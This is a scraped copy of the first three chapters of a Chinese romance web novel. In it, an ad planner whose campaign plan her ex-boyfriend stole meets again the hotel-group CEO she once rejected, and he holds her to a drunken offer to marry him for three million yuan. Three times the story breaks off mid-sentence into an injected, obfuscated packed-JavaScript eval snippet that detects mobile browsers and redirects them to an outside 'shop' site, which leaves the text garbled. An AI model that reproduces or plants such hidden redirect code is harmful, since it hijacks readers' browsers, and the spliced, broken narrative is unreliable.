《离别后的第七年[先婚后爱]》 1. 第 1 章 日历一翻过十二月,北城的天气就愈发干冷,傍晚时分又总飘一层细密的雪粒,裹在北风里,像细密的刀片划在脸上,行人缩头缩脑,多露半点皮肤都算输。 这种日子,连路过的蚂蚁都想爬进屋里暖和暖和。 铺天盖地的寒气中,一家灯火辉煌的私家会所低调掩映在城郊的林木深处,暖黄的灯带将象牙色的外壁映得暖融温柔,门口礼宾迎着寒风依然站得笔挺,间或向内羡慕地一望。 会所内某个装潢华丽的包厢里,今日主角温今遥正如坐针毡地思考着人生,根本没有心情享受这份冬夜里堪称特权的温暖。 周围坐了一圈她平素几乎没机会见的经理部长,凡是在公司能说得上话的人,可谓齐聚一堂,每个人的眼光都若有似无地落在她这个唯一的普通职员身上,怜悯,不屑,看好戏,各种各样的态度,都包裹在看似不经意划过的目光里。 “小温啊,想好怎么说了吗?”她正对面坐着的李玉总监忽然叫她:“一会儿鸿禧那边的人到了,得好好给人家赔个不是。” 温今遥今天一身套装,平日里光润可人的眼睛垂着:“想好了,一定让鸿禧的宣传总监满意。” 今天是威禾广告的谢罪宴,而温今遥之所以会坐在这里,是因为她就是那个把自家的品牌策划方案不小心拱手献给别人的罪魁祸首。 时钟已经跑过八点半,服务生敲门问过四五遍,每次得到的回答都是“再等等。” “到底还来不来,”策划A组的组长樊炜,也是温今遥的顶头上司,今天晚上第五十次看表:“约的六点半,都两个小时了。” 主陪座上的老板于放心情着实很差:“不想等就滚,明天也不用来上班了。” 威禾就是个名不见经传的小公司,能搭上鸿禧酒店集团这条大船,本来就是祖坟冒青烟的事,战战兢兢都来不及,结果方案被重点培养对象温今遥拿回家看了一晚上,不出一周,他们就在鸿禧对手天韵的官网上,看到了一模一样的活动预热。 原本的方案废了不说,还狠狠得罪了鸿禧集团的人,于放把老脸都赔上,好说歹说才约了鸿禧的宣传部长来赴宴,好好赔个礼,看看还有没有回缓的余地。 ……想想还是觉得很气。 于放脸拉了二尺长:“温今遥,你想好了吗,这次的事,你怎么跟公司交代?” 到这个时候,温今遥反而冷静起来:“对不起啊于老板,我就不给公司添麻烦了,我自己走。” 这些天,温今遥说得最多的三个字就是“对不起。” 这也是没办法的事,李总监看重她,把起草方案的任务交给她,又找人费劲给她细化方案,让她拿回去好好修改研读,如果能成,她就能升任小组长,也算不辜负总监的栽培和自己的努力。 结果就一晚上,她累得睡在电脑旁,笔记都还没做完,方案就被同居男友秦杨偷了个干净。 啊,应该说是前男友了。 温今遥还记得自己质问秦杨时,他那副平常的语气。 “哎呀好啦,是我的错,我应该提前跟你说的。还不是因为你们方案做得太优秀了,我一下子没忍住,就拿来拍了。实在不行,下次我做的让给你,行吗?” 听得她只想冷笑。 就秦杨那个水平,哪怕白给她,她都不稀罕。 “这也是为了我们的未来嘛,”见她不松口,秦杨又第无数次温和提起了他对未来的构想:“我升职加薪,咱们就能在北城买房了,分什么我的你的,到时候不都是我们的吗。” 温今遥的回答也十分简单明了——她直接把刚刚送到的花甲粉外卖扣在了秦杨的头上。 我就说今天的花甲怎么好像特别多,她面无表情地想,原来是断头饭啊。 可惜了,花了二十块钱呢。 李总监恰到好处地咳了一声,试图找补:“鸿禧家大业大的,也不一定就会跟咱们一般见识吧,他们新总裁,叫裴什么?啊,裴聿珩,人家一天赚得比咱们一辈子都多了,这么一点小事……咳。” 听到这个名字,温今遥本来已经平静如水的心,忽然泛起了波澜。 就是因为是鸿禧,就是因为这是裴聿珩接任之后的第一个大动作,她才会格外努力,格外想要做出一番成绩,即使她知道,这样的小环节,怎么也舞不到总裁面前去,她也还是想要尽善尽美。 毕竟,她跟那个人之间,历经七年,也就剩下这么点联系。 结果扑街扑得她自己都想笑。 于老板看了李玉一眼,轻轻对她摇了摇头,李玉张了张嘴,还是把想为温今遥找补的后半句堵在了嗓子里。 “吸取教训吧。”于放也不想再骂温今遥,平淡道:“下一份工作好好干,别轻信别人。” 温今遥想起秦杨的脸,不由自主愤慨:“是,我再信男人,我就是狗。” 话音未落,包间的门忽然被人推开,服务生恭恭敬敬地引了两三个人,挟着寒气走进来。 等温今遥终于从单人苦情戏中抬起头,看清逆光立在门口的男人模样时,顿觉时光止步。 那个人破开她潮湿晦涩的记忆,就这样真切地站在她面前,她反而连抬眼对视都觉得艰难。 更遑论用这样的精神状态跟他说一句“好久不见”。 记忆中温柔沉静的年轻男人,被时光打磨得愈发耀眼骄矜,此刻在万众瞩目的人群焦点,深邃眸光轻轻落在远处,随性又淡漠。 裴聿珩一身挺括的藏蓝色暗纹大衣,身姿挺拔,面部锋利轮廓在幽暗的灯光中显得冷峻,插着兜的左手手腕上,泛起一点冷冽的银光。 他身后跟着鸿禧的宣传部长,以往见了威禾都趾高气昂的,今天站在裴聿珩身后,气势生生矮了一截。 片刻沉寂之后,于放终于惊醒,打躬作揖地迎上去:“裴总!您怎么亲自过来,也没提前说一声,有失远迎,抱歉,抱歉!” 裴聿珩垂眸扫了一眼他引向主座的手,没有任何走上前的意思,反而目光泠泠地盯着刚刚还在大放厥词的温今遥,极为疏淡地笑了一声。 周围人面面相觑,挤眉弄眼地无声传递着八卦: “这就是传说中凶残成性的裴总吗!好帅啊啊啊啊!” “帅是帅但真的很吓人……” “绝了,才被前男友背刺,又得罪甲方大佬,我还没见过倒霉到这个地步的人。” “不至于吧,人家坐拥几十家高奢酒店,不会跟咱们这种小罗罗一般见识吧……” 人人都在等他发话,可裴聿珩偏一副慢条斯理的模样,半晌后才薄唇轻启,语调轻慢: “鸿禧旗下新品牌半夏酒店,这一季的主题就是‘爱情’,温小姐的理念,似乎跟我们不太相符。” 此言一出,温今遥周围的同事都不禁悄悄往外挪了半步,生怕被殃及。 太要命了…… 这位裴总上任后,瞄准年轻市场,这次的品牌定位调整中的一个重要方向,就是罗曼蒂克。 结果合作公司的员工刚刚遗失了策划方案,还在背地里大放厥词,他听到这种话,面色紧绷也是情理之中。 就是可怜了温今遥,无心之语,这次恐怕是彻底完蛋了。 于放的脸黑了黑,但到底是老板,这时候迅速转换话题,想扭转局面:“裴总跟我们今遥……认识?” 温今遥按下自己恍然的心绪,就听裴聿珩轻轻笑了一声,声音泠然:“闹出这么大动静,不认识也难。” 意料之中的回答。 温今遥半低着头,把自己复杂的眸光掩在阴影之下,生怕对上裴聿珩的眼睛再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴聿珩视线留驻在她浸润在水光里颤动的睫,半晌没有反应。 李总监恰到好处地拉来其他人转移视线:“裴总,我们威禾有成熟的团队,如果后续还有机会合作,我们会拿出比原先更好的——” 她的话忽然顿住,因为她发现对面的人连半点眼神都没有分给她。 裴聿珩一瞬不瞬地注视着垂着头的温今遥,依然是那副从容淡然的神色:“你希望怎么补偿?” 周遭蓦地一静,连正准备推波助澜留下这尊大佛的于放也噤声了。 一个高高在上的集团总裁,居高临下地看着一个广告公司的小小策划,神情却是旁人看不懂的专注和期待。而温今遥一双生动鲜活的眼睛低垂着,下唇被她咬得发白,这两个人怎么看,都不像是一个世界的人。 可二人之间,总有一种他人都插不进的严丝合缝的气场。 李玉和于放面面相觑:堂堂总裁,怎么真揪着一个小员工不依不饶呢? 她有心替温今遥再求个情,说些事出有因的片汤话,却被于放拉住了。 有戏。 温今遥原以为她的戏份就这样过了,便任由自己陷在纷乱的思绪里无法回神,被他这一记回马枪杀得措手不及,只能抬起空濛的眼,机械地答:“都可以……” 她对上裴聿珩平淡无波的眼神,一时脑筋被酒泡了,竟对裴总出言不逊:“您开个价吧。” 这句话说出口,整个包间鸦雀无声,连宣传部长都被噎得无言以对。 威禾老板都不敢随便说的话,她竟然眼睛都不眨就对着人家鸿禧的总裁说出口。 这丫头到底是什么身份啊,别是什么来体验生活的大小姐吧? 裴聿珩眼底闪过一丝几不可查的讶异,不动如山的表情今晚第一次有了一丝微小的松动。 修长手指在桌面轻点两下,他竟饶有兴致地勾起了一个意味深长的笑:“温小姐欠我的,恐怕没有这么简单吧?” 2. 第 2 章 这场自不量力的闹剧没持续多久,裴聿珩便称有事,带着鸿禧的人先行离开,留下威禾广告的各位见了鬼似地面面相觑。 “不是……”樊炜舌头都不是自己的了:“我听错了?他说什么?” 于放这时候喜不自禁,早没了之前鼻子不是鼻子眼睛不是眼睛的愁苦:“他说鸿禧的品牌策划还是放在咱们这,让温……让今遥将功折罪。” 温今遥三两白的下肚,早就神游天外去了,这时候猛地被点名,腾地一下站起来,九十度鞠躬:“对不起于总,我明天就离职,都是我的错我再也不敢了!” 于老板端着酒走过来,语重心长地按住她的肩膀:“今遥啊,从今天起你就是咱们威禾的肱股之臣,谁为难你,你给我发个微信就行。” 刚刚从温今遥身边撤开一步的同事们,此时又默默地挪了回去。 …… 李玉狐疑地望着温今遥泛着水光的眼睛:“真没事?” 温今遥生得白,又被外面的寒凉雾气一激,更显得肤白胜雪,酒精在她脸颊掸下的一点酡红,又恰到好处地点亮了她原本些微的苍白,这时候展颜一笑,一扫前些天的低沉,倒是有几分令人注目的光彩。 她冲李玉摇摇手机:“总监放心,车马上到,明天我就把辞呈送到公司,您劝劝于总,让他别气了。” 李玉:…… 得,还醉着呢。 她回头喊:“于放,车开过来,先送今遥。” 于放在远处狗腿地“哎”了一声,扭头就要去开车。 远处一辆黑色宾利,后座的男人侧脸浸在窗外斑驳的树影里,隔着车窗沉默地看着门口热闹的三个人,拿起手机,发了条信息。 于放还没走到停车场,就接到了鸿禧宣传部长的电话。 对方一改之前的倨傲,态度亲和,点名要跟于放和李玉聊聊项目后续,希望二位拨冗前去,今晚就定下一个大致方向。 于放很有乙方的态度,也不问为什么刚刚酒桌上不约,转头去拉李玉:“来不及了,鸿禧那边来活儿了。” 李玉犹犹豫豫看向温今遥:“那……” 温今遥吹了冷风,看上去清醒多了,口齿清晰地安慰她:“我真没关系,车还有六分钟就到,到家就给您发微信。” 于放那边又催一遍,李玉没法子,叮嘱了她两句,一步三回头跟着于放走了。 温今遥表情镇定地送走了这两位,扭头就在路边绿化带里吐得昏天黑地日月无光。 她身后,黑色宾利缓缓滑近。 她吐得止不住地流泪,也不知是胃酸刺激,还是难过。 酒精赋予的亢奋正缓慢退去,狼狈面对故人的难堪,这时候才渐渐浮上来,像是终于找到出口,连同被背刺的难过,一起卷土重来。 唇边忽然被递上一瓶开了盖的水,一起扑来的,是融在冷夜寒气中一点男士香水的气息,冷峻洁净,像雪山清晨盘绕的山岚。 她听到一个沉稳克制的声音,带着点熟稔的责备响在她耳边:“酒量差就别逞强,不知轻重。” 温今遥抬头,映入眼帘的是那张她在梦里都无颜面对的脸。 她怔愣地盯了裴聿珩半晌,懵懂地抬起手,却迟迟不敢触碰。 裴聿珩握住她冰冷的指尖,手指覆上她柔润的唇,轻轻抹去嘴角秽物,低声问:“怎么?” 温今遥抿紧了唇,手指在他宽大温暖的掌心骤然缩紧,她颤抖着,问出了那个她实在想不明白的问题: “你是幻觉吗……啊,我是不是喝死了?” …… 这一晚上,于放并不好过。 半夜三点,他在酣梦中被枕边人粗暴拍醒:“温今遥怎么还不给我发微信?电话也不接,你说会不会出事了?” 于放长叹一声,耐着性子转过身去,好声好气哄劝:“她都二十五了,放古代都是好几个孩子的妈了,能出什么事?再说,你都看着她上了车了。” 李玉一巴掌拍上他的背:“你家用宾利开滴滴?”说到这,她猛地福至心灵似地,问:“今天那个裴总,你上次见他,他开的什么车?” 一巴掌没给他拍醒,半睡半醒听到一个问句倒是醒了,于放含糊道:“不知道,宾利吧。” 李玉的火气噌一声冒到了嗓子眼,一把掀开被子:“不行,我得报警。” 这句于放是真没听见,他但凡听见一星半点,都不会让老婆真的拨出那个错得离谱的电话。 于是凌晨三点半,鸿禧酒店高级行政套房中,半躺在沙发上小憩的裴聿珩被一阵急促的敲门声吵醒。 他疲惫地坐起来,扯松了的领带松垮地挂在颈间,捏着眼角醒了醒神,第一反应是先去看床上酣睡着的人。 温今遥折腾了半晚上,吐得浑身都是,好不容易清理干净睡下,这时候被敲门声惊扰,在睡梦中还轻轻皱着眉。 裴聿珩起身,把卧室门关好,刚一开门,门外的警察就冲他亮出警官证:“是裴先生吗?我们接到报警电话,怀疑你非法拘禁,请配合调查。” …… 温今遥缩在柔软的被子里,正做着一个让她能笑出声的好梦。 梦里的前半段没什么不同,像之前的每一次的梦魇一样,还是七年前的大年夜。 裴家的年夜饭,是一场整个家族都参加来的盛会。这种场合,温今遥原本是没资格出现的,但是那天,裴聿珩提前很久就跟她打好招呼,说那一天,请她务必出席。 那时候温今遥已经上大一,跟裴聿珩同在北城的名校,只是裴聿珩忙着实习,两人平时也没什么机会见面。温今遥还莫名地问过他,为什么要去他家吃年夜饭,她已经跟同学约好了过年要出去玩的。 年轻的裴聿珩远不像现在这样百计千谋,开口想解释,却先红了尚显青涩的脸,最后扔下一句“到时候我去接你”,便转身走了。 有他这句话,温今遥只好回家过寒假,一直懒得管她的亲爹温全竟然破天荒地又给她买衣服,又从相好那里给她拿来化妆品,让她一定要好好打扮,不要给温家丢脸。 温今遥:?咱们家还有脸呢?不都被你丢尽了吗? 等到大年夜当天,温全终于图穷匕见,拿了一盒她只在生物课上见过的“安全措施”,对她说:“这是处理过的,今天晚上小少爷跟你表白,然后你就顺势把他带上床,只要怀个裴家的孩子,咱们下半辈子就荣华富贵了!” 温今遥扬起一张麻木的脸,问:“你是什么意思,我怎么听不明白?” 她当然听不明白,因为在她毫不知情的时候,裴聿珩早就悄悄安排好了一切——他决定跟温今遥表白,知道她跟父亲关系不好,于是向温全提出给他一笔钱,从此温今遥除了法律义务,不再履行女儿的其他义务,温全一口答应,但是有一个条件:裴聿珩必须当着整个裴家的面,承认温今遥的身份。 这对尚未有自己力量和地位的裴聿珩来说,是个不小的挑战,但他还是答应了。 当然了,肖想了这么多年,要跟今遥在一起,最后总得让她看看自己的诚意,裴聿珩想,不然怎么让她放心。 于是就有了这个缠绕温今遥七年的噩梦。 “你是我认定的妻子,”裴聿珩站在裴家老宅肃穆的厅里,当着整个家族的面,掷地有声地对她表白:“我知道你这些年的心意,我对你也是一样。今后的每一步,都由我走向你,好么?” 温今遥深深陷在梦中的恐惧里,她仿佛灵魂出窍,看见自己震惊的脸上闪过一丝决然,然后是她自己都不曾见过的讥诮:“心意?什么心意?你该不会以为我真的喜欢你吧?” 她听见自己尖利卑鄙的声音,隐瞒了她讳莫如深的愧疚:“我跟你玩是因为学校所有人都不敢惹你,别人只要知道我认识你,就不会欺负我没钱没见过世面。”温今遥看到自己鲜嫩的脸上满是自以为是的嘲讽:“这你就喜欢上我了?你怎么这么无聊啊?” 温今遥慢慢地闭上眼睛,即使是在梦里,她也不忍心,也不敢去看裴聿珩那种不可置信又柔肠寸断的表情,感觉只要看一眼,她就会跟着他一起痛到窒息。 于是画面一转,一股巨大的力量将她甩在墙上,大腿处传来尖锐的疼痛,血腥气在梦境中蔓延。父亲阴着一张脸:“你不配做我的女儿!” 温今遥跪在地上,单薄的裤袜被大腿处洇出的血迹浸湿,她忍着痛,面无表情地抬起头:“我不会跟你一起做那种烂人。你不就是要钱吗,三百万,买我的自由,你稳赚不赔。” 而她飘忽的意识在梦中哭喊—— 我特么是疯了才会说三百万啊!我的自由哪值三百万,三百块,不能再多了! 但梦的后半段她却陡然翻身,真的拿出了三百万,一整箱红彤彤的钞票直接倒在父亲的头上,并用这辈子知道的所有脏话辱骂他,骂得扬眉吐气通体顺畅,末了还不忘狠狠地啐了一口。 直到被人隔着被子拍醒,她还陷在那种喜逐颜开的舒爽里不能自拔。 同行的女警进卧室叫醒温今遥,见她穿着完整,睡得五迷三道,再看裴聿珩,三更半夜穿得竟然也尚算体面,这两人怎么看都不像是报警电话里火急火燎告发的胁迫关系。 温今遥酒差不多醒了,一睁眼就看到警察,吓得直结巴:“啊,怎、怎么了?” 女警坐在床边握着她的手:“你不用怕,我们会保护你,外面那个人,你认识吗?跟你是什么关系?” 温今遥反应了好一会儿,答:“他是甲方公司的……总裁。” 同一时间,卧室外的裴聿珩面对民警,姿态挺拔,态度笃定:“是青梅竹马。” 民警盯着他那张棱角分明的脸,仔细分辨着他每一个微表情:“有证据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634197|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?聊天记录、合照、视频,或是你们共同认识的人,都可以。” 裴聿珩眉心挑了挑,沉默下来。 他们七年没见了,最后一次见面也谈不上友善,别说聊天记录,他连她的微信都没有。 对面民警的表情越来越严峻,裴聿珩解锁了手机,翻出一个独立相册,点开里面唯一一张照片,放到民警面前。 照片是翻拍的,清晰度很差,画面已经有了些微泛黄。 如果对面是个专家,就会知道,原片一定总是被拿出来看,不断暴露在光和空气中,才会褪色到这种程度。 照片上是一个梳着高马尾的年轻姑娘,十六七岁,一身米白色连衣裙,手里拉着一个皮卡丘氢气球,整个人鲜嫩清纯得像春天新生的嫩柳。 她眼睛望着远处,或许是看到了什么有趣的东西,笑得鲜活清澈。 她身后半步跟着一个少年,身量清瘦颀长,表情沉静温和,半低着头,微笑着看着身前的女孩,似乎一切纷扰都与他无关,能牵动他心绪的,只有这一个人。 即使画面已经模糊,那种青葱时的纯粹美好,还是隔着屏幕扑面而来。 民警一时被这张照片摄了神,半晌才想起核对长相。 眼前的男人脸上虽挂着些许疲惫,但不难看出他贵气凌厉的气质之下,五官依然有着那个少年温润沉和的影子。 他翻出报案人提供的照片,女孩子嘛……就…… 还是人群中一眼就能看到的好看,长相和身形也几乎没怎么变,但是怎么说呢,就是…… 一身的班味儿。 “太久远了,”民警虽然初步确定这两人之前确实认识,但依然不能确认他们现在依旧关系良好:“近期的呢,有吗?” 这句问完,卧室的门忽然开了。 温今遥整理好了自己,穿着一件尚且能看的衬衣:“麻烦你们了,都是误会,我们的确认识。” 陪在她身边的女警忍不住出声:“他是甲方总裁这不叫认识,这叫违反公序良俗的男女关系……” 温今遥拢了拢身上的衣服,低着头声如蚊呐:“聿珩哥哥。” 裴聿珩始终淡淡拧着的眉头猛然一松,喉头上下一滚,一声“嗯”被他强压在喉咙里,没有出声。 “真的认识?”民警谨慎地确认:“你们到底是什么关系?” 温今遥的视线本来几乎固着在裴聿珩身上,被人问起,才像被抓包似地猛然挪开:“从小就认识。” 她抿了抿唇,又想起刚刚那个歇斯底里的梦,半晌过后,她才像是下了什么决心似地,露出一个无谓的笑:“我爸爸是裴家的司机,就是这样。” …… 等他们送走两个夜班警员,东方的天际已经泛起一线青白。 裴聿珩双腿交叠坐在餐桌旁,清整从容,神情温淡,好像刚刚一场尴尬的闹剧根本与他无关。 温今遥走也不是,留也不是,吭哧半天,才憋出一句:“哈,哈哈,裴总,好久不见了。” “嗯。” “对不起啊,给您添麻烦了,那我就先……”温今遥努力端出一副敬业且专业的样子,低眉顺眼准备开溜,却发现自己的外套不见了。 “衣服弄脏了,清洗需要时间。”裴聿珩抬手倒了一杯热水放在对面,抬眸看着她。 跟昨晚出现在会所的那种压迫感不同,他英挺的眉间清清淡淡的,看不出什么情绪,似乎真的只是想跟老朋友叙叙旧。 温今遥无声地深吸一口气,咬着牙根坐到他对面。 她慌乱的眼神无处安放,只能盯着他衬衫的第二颗光泽温润的纽扣,想一些不那么着调的东西,才能缓解她死到临头的紧张。 撑得挺满的,她想,小时候没觉得他也有当男菩萨的潜质。 裴聿珩十指交扣,意味不明地盯了她一会儿,道:“温小姐,昨晚你提及的赔偿,不知道有什么具体的想法。” 温今遥咽了咽唾沫:“要不您说个数,每个月从我工资里扣?” 裴聿珩似乎没想到她会这么说,眉峰挑了挑,眼中的笑意一闪而过。 温今遥显然把这个笑理解成了嘲讽,不忿地小声嘟囔:“那我也没房没车的,要贷款都没东西抵押,不然要怎么办……” 裴聿珩:“我倒是觉得你昨晚的另一个提议更有趣。” “啥?”温今遥一时宕机,想不起她还说过什么了不起的话:“什么提议?” 裴聿珩扬了扬唇角,用手机播放了一段清晰且毫无争议的录音。 先是一阵衣料摩擦的噪音,而后裴聿珩轻颤着、似是柔情蜜意诱哄的声音传来:“你刚刚说什么,再说一遍。” 然后,温今遥瞪大了眼睛。 因为她听见自己口齿清楚、逻辑清晰地说: “我说,给我三百万,我跟你结婚。” 3. 第 3 章 毫不夸张,温今遥的第一反应,是干脆咬舌自尽算了。 但想起微博和网盘里那些见不得人的东西,她硬是厚起脸皮,干笑一声:“不是,裴总,喝多了的醉话,总不能算数吧?再说,我也不值三百万……” “钱打给你了。” “?” 温今遥冲进卧室,抓起手机一通操作,看到账户余额538.00的那一刻,简直如蒙大赦。 她仰起脸,对抱着臂靠在卧室门口的裴聿珩笑靥如花:“哈哈,您逗我呢。也是,三百万呢,又不是三百块。” 裴聿珩视线停驻在她如释重负的脸上,眯了眯眼。 不像演的。 他轻笑一声,好心提醒:“查查转账记录。” 温今遥笑容瞬间凝固,手忙脚乱打开转账记录,鲜红的正负三百万流水毫不留情地击碎了她最后一点侥幸。 不会吧…… 她打开微信,点开那个备注为“债主”的对话框,就见一整屏绿油油的六十秒语音,齐刷刷地躺在聊天记录里。 她手一抖,误触了其中一条,就听见自己气贯长虹的声音回荡在宽敞到空荡的行政套房里: “姓温的你个□□,你□□□□□□,□□,你做下的那些烂事□□□□□□□□,□□□!” 温今遥:“……” 刚刚要真的咬舌自尽了就好了。 裴聿珩风雨不动地靠在门口,好整以暇抱胸看着她,沉邃的眼带着点戏谑,一言不发。 温今遥丢人得要死,一边手抖着打字,一边赶紧找补:“误会,误会一场,我这就把钱要回来,然后我们……” 消息发出去,一个鲜红的感叹号蹦出来—— 消息已发出,但被对方拒收了。 这一天才开始短短半个小时,温今遥已经有了淡淡的死意。 她咬着下唇,几乎是动用了意志力才让自己没有立刻发疯,依然体面地笑着:“裴总,给我点时间,我肯定把钱还上,行吗?” 裴聿珩扬了扬唇角,点点头,竖起一根手指,比划了个“一”。 温今遥又开始犯难,还瘪着嘴想着讨价还价:“一个月时间有点紧,我这……” “一天。” 裴聿珩云淡风轻地进来,大马金刀坐在她面前:“三百万在银行里放一个月会滚出多少利息,温小姐不会不知道吧。” 他上身前倾,星子一样的眸子盯住温今遥:“投资所得就不跟你算了。” 裴聿珩陡然靠近,让温今遥的心跳有一瞬失序,紧接着,她终于意识到,对方根本是故意的。 他还在记恨七年前她当众羞辱自己,现在只想看她的笑话。 温今遥忽然被激起了胜负欲:“好,一天就一天,我今天就算是吊死在银行门口,也把这三百万还给你!” …… 温今遥在风风火火拿了外套离开套房的时候,确实是没想到,今天是周日。 她对着银行门口闪着银光的卷帘门陷入了沉思。 ……事已至此,要不先回公司,加个班吧。 昨晚她微信被李玉狂轰乱炸,除了问她去哪了,到家了没有,还好言劝她说不用交辞呈,明天一早来公司,商量商量下一步该怎么办。 温今遥为了还上自己的买命钱,几乎把所有时间都用在了工作上,没有时间社交,自然也就没什么朋友,为了省些生活成本找个人搭伙过日子,还被狠狠背刺。 好在,公司里有个愿意保护她、替她着想的上司。 毕业就进了威禾,虽然过程艰难,她也算是一步一个脚印,对得起李玉的栽培,可这次这么大的项目,全公司上下都翘首以盼,偏偏折在了她手上。 温今遥自知能力有限,只有一点真诚和坚韧可堪说道。既然是自己闯的祸,就绝没有躲在别人后面推卸责任的道理。 ……顺便问问李总监,对那三百万有没有什么建设性的想法。 她长叹一声,又查了一遍余额,打消叫车的念头,老老实实上了回公司的地铁。 周日的威禾竟也很热闹,一个普通的休息日,被昨天裴总一句话,搅扰得人心惶惶,凡是跟鸿禧的项目有半点瓜葛的部门,都被按在办公室里,随时待命。 于是当温今遥穿着昨天的衣服出现在公司时,着实体验了一把职场女明星的感觉。 不算长的走廊硬是给她走成了红毯,平日里擦肩而过目不斜视的同事们,一夜之间全都认识了她。 “哟,功臣来了!” “昨晚辛苦了,怎么今天还来上班,老板没给假?” “我们今遥就是敬业,你不出息谁出息?” 温今遥:…… 收收味儿吧各位,你们是来上班的还是来演三级片的。 直到进了李玉办公室,身后暧昧的议论和眼神才被关在门外。 李玉见她进来,视线在她眼下青黑和没换的衣服上逡巡片刻,眉心紧了紧:“怎么回事?” 温今遥隐去她原本跟裴聿珩的关系,把昨晚的事大致说了,说完她才惊奇地发现,现在的版本听起来,真的很像某种令人浮想联翩的潜规则。 果然,李玉肃着一张脸,半天没说话,再开口,语气就淡了不少:“没休息好上午为什么不请假,也不在乎这半天。” 温今遥心说还请假,我再不来就真的变成艳情女明星了! 别人这样误会她,她连眼神都懒得给,可李玉这么认为,温今遥不能接受。 她心一横,干脆直白辩解:“总监,我没跟他睡。” 李玉没料到她这么直接,噎了一瞬间:“……哦,是吗。” 温今遥点头:“是,裴总把我送到酒店,我就一觉睡到了警察上门。今天早上取外套的时候,听说衣服也是清洁员工给我换的。” 李玉紧绷的脸上终于出现了一丝动摇。 从温今遥毕业进威禾开始,李玉始终关注着她,知道这姑娘性格大气拎得清,踏实肯干不矫情,以前也不是没有走捷径的机会,她就像没有这根弦一样,一脸无辜怼得对面当众下不来台。 她不是会靠这种手段上位的人。 但听完这句话,李玉的担心又从潜规则变成了另一种:“那个裴聿珩,手段绝得很,别因为这一点小恩小惠就觉得他是什么好人,听见没有?” 这位裴总名声在外,之前人人都以为他空有学识没有资历,结果裴聿珩釜底抽薪,从进鸿禧实习开始,花了三年缓消慢融,把公司内部蠢蠢欲动的叔伯根基挖了个干净,让人后半辈子除了好吃好喝,半点实权都够不着了。 于是鸿禧内部虽然派系复杂,但他上台的这一年,至少在外人看来,倒算是很清静。 这样的人,温今遥一个浮萍一样的女孩子,怎么斗得过? 温今遥亲亲热热地“哎”了一声,从善如流地把自己欠了裴聿珩三百万的事情咽进了肚子里。 李总监对他是这个印象,要是知道自己已经被他算计了,搞不好又要报一回假警。 项目要重启,所有东西都得推翻重做,甚至必须拿出明显好过之前的成果,这次的风波才算是真正过去。 不止鸿禧,业界所有人都在等着看,这场戏到底要怎么收场。如果威禾交不出一份令人满意的答卷,那以后的生意也就别想了。 在这种重压下,温今遥竟短暂地忘了欠债的事,在公司忙得脚打后脑勺。 等她踩着星辉从公司出来,才猛然记起,她分明答应过裴聿珩,一天之内就还钱。 还信誓旦旦要吊死在银行门口。 想起那个荒谬的提议,温今遥货真价实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634198|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心了一瞬,又立刻打消了念头。 嗐,怎么可能,他也就是方案被对手抢了,拿我出出气,温今遥想,三百万对她来说这辈子都赚不到,可对人家来说也就是动动手指的事…… 不至于不至于。 手机在口袋里嗡嗡一响,温今遥掏出来一看,是一条好友申请,平平无奇的头像后面,缀着让温今遥头大如斗的三个字:裴聿珩。 温今遥手一抖,直接给他拉黑了。 此时此刻,鸿禧集团总部。 裴聿珩站在顶层总裁办的落地窗前,冬日夜晚难得的星光细碎掸落在他肩头。他垂目看着申请中“您不能添加对方为好友”的提示,眼神黯然。 太冒进了。 对付别人时他明明有的是耐心,蛰伏数年就为了等待一个完美时机,好能一击毙命,这种方式他再熟悉不过。 千般思量万般手段,怎么到她身上,统统不作数了。 ……该徐徐图之的。 下一刻,一个陌生号码忽然进来。 裴聿珩拧起眉,他分明交代过总助,今天任何行程都别安排。 他语气平淡地接起来:“哪位?” 对面嚅嗫半晌:“裴总,是我,温今遥。钱的事,可不可以再,就是,宽限我几天?今天银行……” 裴聿珩抬头望向漫天繁星,唇边勾起一个无声的笑:“温小姐,愿赌服输。” “不是,裴总……”温今遥坐在7-11的窗前,捣弄着面前一份关东煮:“跟我结婚到底对你有什么好处?就为了报复我,你要连自己都搭进去吗?婚姻关系限制的不仅仅是我一个人。” 男人沉厚的嗓音搅乱平静电波,顺着听筒传过来:“我需要一段婚姻来维持对外形象。” “您身边应该有不少能联姻的对象,为什么是我?” 那边似乎低低笑了,听筒的震动像一片飞絮似地挠着温今遥的耳朵:“联姻意味着限制,从这点来看,你是不二人选。” 温今遥听明白了。 他想要一个无风险、好拿捏、不会限制他自由的结婚对象,来成全他顾家可靠的外部形象,而与门当户对的千金联姻又必然会让他束手束脚,共同利益体也意味着制衡,裴聿珩野心勃勃,绝不会让任何人分走他手里的蛋糕。 而她知根知底,柔善可欺,跟自己亲人的关系有多差裴聿珩再清楚不过。稍一调查就知道,不要说根基,她在北城连一套属于自己的住处都没有,这样的人,对裴聿珩来说,哪怕她豁出命去,也构不成半点威胁。 有那么一瞬间,温今遥几乎想不顾后果地质问他,为了那一次的出言不逊,非要她搭上一辈子来偿还吗?难道自小认识的情分,就没有一点点是真的? 但她张了张嘴,没有出声。 